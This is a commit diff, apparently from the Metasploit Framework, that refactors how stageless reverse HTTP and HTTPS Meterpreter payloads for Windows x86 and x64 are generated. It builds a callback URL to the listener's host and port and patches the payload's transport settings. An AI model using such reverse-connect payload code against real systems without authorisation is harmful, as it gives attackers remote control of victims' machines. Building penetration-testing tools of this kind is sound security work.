Update http(s) generator functions

Methods now require a hash. I went with the hash because 1) that's what
we seem to use everywhere else, and 2) I couldn't get the new keyword
arguments working nicely with the block syntax (I'm clearly stupid).

lib/msf/core/handler/reverse_http/stageless.rb

@@ -26,25 +26,30 @@ module Handler::ReverseHttp::Stageless
     ], self.class)
   end
 
-  def generate_stageless(ssl, &block)
-    url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}#{generate_uri_uuid_mode(:connect)}/"
-
-    unless block_given?
-      raise ArgumentError, "Stageless generation requires a block argument"
+  def generate_stageless(opts={})
+    unless opts[:generator]
+      raise ArgumentError, "Stageless generation requires a generator argument"
     end
 
+    if opts[:ssl].nil?
+      raise ArgumentError, "Stageless generation requires an ssl argument"
+    end
+
+    url = "http#{opts[:ssl] ? "s" : ""}://#{datastore['LHOST']}:#{datastore['LPORT']}"
+    url << "#{generate_uri_uuid_mode(:connect)}/"
+
     # invoke the given function to generate the architecture specific payload
-    block.call(url) do |dll|
+    opts[:generator].call(url) do |dll|
 
       verify_cert_hash = nil
-      if ssl
+      if opts[:ssl]
         verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
                                              datastore['HandlerSSLCert'])
       end
 
       Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
         :url           => url,
-        :ssl           => ssl,
+        :ssl           => opts[:ssl],
         :ssl_cert_hash => verify_cert_hash,
         :expiration    => datastore['SessionExpirationTimeout'].to_i,
         :comm_timeout  => datastore['SessionCommunicationTimeout'].to_i,

modules/payloads/singles/windows/meterpreter_reverse_http.rb

@@ -37,9 +37,11 @@ module Metasploit4
   def generate
     # generate a stageless payload using the x86 version of
     # the stageless generator
-    generate_stageless(false, &method(:generate_stageless_x86))
+    opts = {
+      :ssl       => false,
+      :generator => method(:generate_stageless_x86)
+    }
+    generate_stageless(opts)
   end
 
 end
-
-

modules/payloads/singles/windows/meterpreter_reverse_https.rb

@@ -37,8 +37,11 @@ module Metasploit4
   def generate
     # generate a stageless payload using the x86 version of
     # the stageless generator
-    generate_stageless(true, &method(:generate_stageless_x86))
+    opts = {
+      :ssl       => true,
+      :generator => method(:generate_stageless_x86)
+    }
+    generate_stageless(opts)
   end
 
 end
-

modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb

@@ -37,10 +37,11 @@ module Metasploit4
   def generate
     # generate a stageless payload using the x64 version of
     # the stageless generator
-    generate_stageless(false, &method(:generate_stageless_x64))
+    opts = {
+      :ssl       => false,
+      :generator => method(:generate_stageless_x64)
+    }
+    generate_stageless(opts)
   end
 
 end
-
-
-

modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

@@ -37,9 +37,11 @@ module Metasploit4
   def generate
     # generate a stageless payload using the x64 version of
     # the stageless generator
-    generate_stageless(true, &method(:generate_stageless_x64))
+    opts = {
+      :ssl       => true,
+      :generator => method(:generate_stageless_x64)
+    }
+    generate_stageless(opts)
   end
 
 end
-
-